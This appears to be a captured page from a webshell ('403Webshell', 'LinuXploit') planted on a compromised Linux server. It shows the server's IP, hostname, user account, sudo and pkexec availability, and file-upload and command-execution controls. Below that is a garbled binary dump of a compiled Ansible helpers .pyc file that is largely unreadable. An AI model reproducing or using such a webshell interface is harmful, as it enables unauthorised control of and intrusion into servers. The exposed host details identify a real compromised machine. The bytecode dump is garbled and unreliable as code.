403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/playbook/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/playbook/__pycache__/helpers.cpython-311.opt-1.pyc
�

���c�@���ddlmZmZmZeZddlZddlmZ	ddl
mZmZm
Z
mZddlmZddlmZddlmZddlmZe��Zd
d
�Zd
d�Zdd�ZdS)�)�absolute_import�division�print_functionN)�	constants)�AnsibleParserError�AnsibleUndefinedVariable�AnsibleFileNotFound�AnsibleAssertionError)�	to_native)�string_types)�ModuleArgsParser)�DisplayFc�n�ddlm}t|tt	d��f��s!t|�dt	|�������g}	|r�t
tt|������}
|
D]�}||}g}
|�r|�	|��s]|
�
|��|dz
}t|
d��	||}n#t$rd}YnwxYw|�|�	|���]|
|fD]4}|r0|	�
|�
||||||||������5��|	S)z�
    Given a list of mixed task/block data (parsed from YAML),
    return a list of Block() objects, where implicit blocks
    are created for each bare Task.
    r��BlockNz! should be a list or None but is ���play�parent_block�role�task_include�use_handlers�variable_manager�loader)�ansible.playbook.blockr�
isinstance�list�typer
�iter�range�len�is_block�append�next�
IndexError�load)�dsrrrrrrrr�
block_list�count�i�block_ds�implicit_blocks�bs               �=/usr/lib/python3.11/site-packages/ansible/playbook/helpers.py�load_list_of_blocksr/!s���-�,�,�,�,�,��b�4��d���,�-�-�^�#�r�r�r�SW�XZ�S[�S[�S[�$\�]�]�]��J�	� ��U�3�r�7�7�^�^�$�$���	�	�A��!�u�H�!�O��&�u�~�~�h�/G�/G�&��&�&�x�0�0�0��Q����U�D�!�!�!�$�!�!�u�H�H��!�$�$�$�#�H�H�H�$�����&�u�~�~�h�/G�/G�&�&�x�0�

�

�����%�%��
�
��!%�)5�!%�)5�)5�-=�#)�#�	�	�����

��s�	C�C!� C!c���ddlm}ddlm}	ddlm}
ddlm}ddlm	}ddl
m}
ddlm
}dd	lm}t!|t"��s"t%d
|�dt'|�������g}|D�]}t!|t(��s"t%d
|�dt'|�������d
|vr3|�||||||||���}|�|���qt/|��}	|�d���\}}}n9#t2$r,}|jr�t3t7|��||����d}~wwxYw|t8jv�r�|r|
}n|}|�|||d||���}|�||���}|||���}|t8jvrd}nw|t8j vrd}nf|d��}tB�"d|zd��|�#|j$d��o|�%��o|j&}|�r�|j&�0|t8j vrt3d|����t3d|����d|_'|}d}d}d} |rd} |���t!||��s|j(}�	tRj*�+|�,|j$�-d������}!nH#t\$r;}|j's.t3d |j$�-d��z|d|�!����d}~wwxYw|�|!}n?tRj*�/|��s tRj*�0|!|��}|�,|j$d��}"|j1rCtRj*�0|j1j2| |��}#|�3|#| |"��}$n)|�3|�4��||"��}$tRj*�5|$��rd}n
|j(}|���|s�	|�,|j$d��}"n3#t\$r&}t3d"|j$dz|d|�!���d}~wwxYw|j1r"|�3|j1j2| |"��}$n|�6|"��}$|�7|$��}%|%stB�8d#|$z����|t!|%t"��st3d$|%����tB�9d%|$z��|�:d�&��}&||&_(tw|%|d|&||||�'��}'|&j<dd�}(|'D];})t#t{|)j<���>|(����|)_<�<|r!|'D]})|�?|)j@�����c|�?|'����zd|_A|�|�����|t8jBv�r|rt3d(|�d)�|����|�|||d||���}*d}|t8jCvrd}|r�|*j&�0|t8jCvrt3d*|����t3d+|����d|*_'|�||*���}|||���}|�,|*jD��|*_D|*�E||�,��\}+},|�?|+�����|�|*�����|r|	�||||||���}n|
�||||||���}|�|����|S)-zw
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    rr)�Handler)�Task)�TaskInclude)�IncludeRole)�HandlerTaskInclude)�Templar)�get_versioned_doclinkzThe ds (�) should be a list but was a z) should be a dict but was a �blockrT)�skip_action_validation)�obj�orig_excN)r9rrrr)r�task)r�	variablesFz(user_guide/playbooks_reuse_includes.htmlzS"include" is deprecated, use include_tasks/import_tasks instead. See %s for detailsz2.16�_raw_paramszZYou cannot use loops on 'import_tasks' statements. You should use 'include_tasks' instead.)r;z1You cannot use 'static' on an include with a loop�tasks�handlersz�Error when evaluating variable in dynamic parent include path: %s. When using static imports, the parent dynamic include cannot utilize host facts or variables from inventory)r;�suppress_extended_errorr<a'Error when evaluating variable in import path: %s.

When using static imports, ensure that any variables used in their names are defined in vars/vars_files
or extra-vars passed in from the command line. Static imports cannot use variables from facts or inventory
sources like group or host vars.z,file %s is empty and had no tasks to includez0included task files must contain a list of taskszstatically imported: %s)�exclude_parent)rrrrrrrzUsing 'z ' as a handler is not supported.zXYou cannot use loops on 'import_role' statements. You should use 'include_role' instead.z6You cannot use 'static' on an include_role with a loop)rr)Frr�ansible.playbook.handlerr1�ansible.playbook.taskr2�ansible.playbook.task_includer3�ansible.playbook.role_includer4�%ansible.playbook.handler_task_includer5�ansible.templater6�ansible.utils.plugin_docsr7rrr
r�dictr&r#r
�parserr;r�C� _ACTION_ALL_INCLUDE_IMPORT_TASKS�get_vars�_ACTION_INCLUDE_TASKS�_ACTION_IMPORT_TASKS�display�
deprecated�is_template�args�all_parents_static�loop�statically_loaded�_parent�os�path�dirname�template�getr�isabs�join�_role�
_role_path�path_dwim_relative�get_basedir�exists�	path_dwim�load_from_file�warning�vv�copyr/�tags�set�union�extendr9�	is_static�'_ACTION_ALL_PROPER_INCLUDE_IMPORT_ROLES�_ACTION_IMPORT_ROLE�
_role_name�get_block_list)-r'rr9rrrrrrr1r2r3r4r5r6r7�	task_list�task_ds�t�args_parser�actionrU�delegate_to�e�
include_class�all_vars�templarro�include_link�parent_include�cumulative_path�found�subdir�parent_include_dir�include_target�new_basedir�include_file�data�ti_copy�included_blocksrkr-�ir�blocks�_s-                                             r.�load_list_of_tasksr�Ts�	��-�,�,�,�,�,�0�0�0�0�0�0�*�*�*�*�*�*�9�9�9�9�9�9�9�9�9�9�9�9�H�H�H�H�H�H�(�(�(�(�(�(�?�?�?�?�?�?��b�$���b�#�#�SU�SU�SU�W[�\^�W_�W_�W_�$`�a�a�a��I��[$�[$���'�4�(�(�	f�'�'�WY�WY�WY�[_�`b�[c�[c�[c�(d�e�e�e��g����
�
���"��)�)�!1���	�	�A�
���Q�����*�7�3�3�K�
P�.9�.?�.?�W[�.?�.\�.\�+���{�{��%�
P�
P�
P��5���(��1���7�Q�O�O�O�O�����

P������;�;�;��0�$6�M�M�$/�M�!�&�&����!%�%5�!�
'����,�4�4�$�Q�4�G�G��!�'��8�D�D�D��
�Q�4�4�4� %�I�I��q�5�5�5� $�I�I�#8�#8�9c�#d�#d�L��&�&�'|�@L�(L�NT�U�U�U�$+�$7�$7���}�8M�$N�$N� N� x�ST�Sg�Sg�Si�Si� x�rs�rx�nx�I��p(��v�)�!�Q�%;�;�;�"4�6R�X_�#`�#`�#`�`�"4�5h�nu�"v�"v�"v�v�+/�A�'�&+�N�&*�O�!�E�$�F�#�,�!+��(�4�)�.�+�F�F�%�-;�-C�N�$�"�13�����AQ�AQ�R`�Re�Ri�Ri�jw�Rx�Rx�Ay�Ay�1z�1z�.�.��7�
"�
"�
"�#1�#C�"�&8�%B�DR�DW�D[�D[�\i�Dj�Dj�%k�)0�<@�-.�
'"�'"�'"�!"�"�����
"����+�2�.@�O�O�!#�����!?�!?�`�.0�g�l�l�;M��._�._�O�)0�)9�)9�!�&��:O�)P�)P���7�|�*,�'�,�,�q�w�7I�6�Sb�*c�*c�K�+1�+D�+D�[�RX�Zh�+i�+i�L�L�+1�+D�+D�V�EW�EW�EY�EY�[j�lz�+{�+{�L��7�>�>�,�7�7�D�$(�E�!�-;�-C�N�A)�4�D!�L�
,�-4�-=�-=�a�f�]�>S�-T�-T�N�N��7�,�,�,�"4�!C�FG�V�M�EZ�![�%,�8<�)*�#,�#,�#,�,�����,�����7�L�+1�+D�+D�Q�W�EW�Y_�ao�+p�+p�L�L�+1�+;�+;�N�+K�+K�L�!�0�0��>�>�D��o����(V�Ye�(e�f�f�f� �'��d�3�3�o�0�1c�im�n�n�n�n��J�J�8�<�G�H�H�H��f�f�D�f�9�9�G�&+�G�O�&9��!�%)�%,�!�%1�%�)9�	'�	'�	'�O�#�<����?�D�-�?�?��!%�c�!�&�k�k�&7�&7��&=�&=�!>�!>����
$�:�!0�6�6�A�%�,�,�Q�W�5�5�5�5�6�"�(�(��9�9�9�9�"'�A�K��$�$�Q�'�'�'�'��1�D�D�D��n�,�-_�v�-_�-_�-_�el�m�m�m�m� �%�%����!%�%5�!�
&����"�	��Q�2�2�2� $�I��)��w�*�!�Q�%:�:�:�"4�6P�V]�#^�#^�#^�^�"4�5m�sz�"{�"{�"{�{�,0�B�(� 0�8�8�d��8�L�L�H�%�g�V�x�H�H�H�G�$+�$4�$4�R�]�$C�$C�B�M�!#� 1� 1�CS�\b� 1� c� c�I�F�A��$�$�V�,�,�,�,��$�$�R�(�(�(�(��P����W�E��S_�sC�LR��S�S�A�A��	�	�'��T�P\�o�IO�	�P�P�A�� � ��#�#�#�#��sI�-D�
D>�'D9�9D>�A
K�
L�6L�L�  Q�
Q1�!Q,�,Q1c	���ddlm}t|t��s"t	d|�dt|�������g}|D]2}|�||||||���}	|�|	���3|S)a�
    Loads and returns a list of RoleInclude objects from the ds list of role definitions
    :param ds: list of roles to load
    :param play: calling Play object
    :param current_role_path: path of the owning role, if any
    :param variable_manager: varmgr to use for templating
    :param loader: loader to use for DS parsing/services
    :param collection_search_list: list of collections to search for unqualified role names
    :return:
    r)�RoleIncludezds (r8)r�current_role_pathrr�collection_list)�ansible.playbook.role.includer�rrr
rr&r#)
r'rr�rr�collection_search_listr��roles�role_defr*s
          r.�load_list_of_rolesr�Hs���:�9�9�9�9�9��b�$���^�#�#�r�r�r�SW�XZ�S[�S[�S[�$\�]�]�]��E��������X�D�DU�hx�$*�<R�
�
T�
T��
���Q������L�)NNNFNN)NNNN)�
__future__rrrr�
__metaclass__rZ�ansiblerrM�ansible.errorsrrr	r
�ansible.module_utils._textr�ansible.module_utils.sixr�ansible.parsing.mod_argsr
�ansible.utils.displayrrRr/r�r��r�r.�<module>r�s	��$C�B�B�B�B�B�B�B�B�B��
�	�	�	�	�"�"�"�"�"�"�s�s�s�s�s�s�s�s�s�s�s�s�0�0�0�0�0�0�1�1�1�1�1�1�5�5�5�5�5�5�)�)�)�)�)�)�
�'�)�)��0�0�0�0�fq�q�q�q�h�����r�

Youez - 2016 - github.com/yon3zu
LinuXploit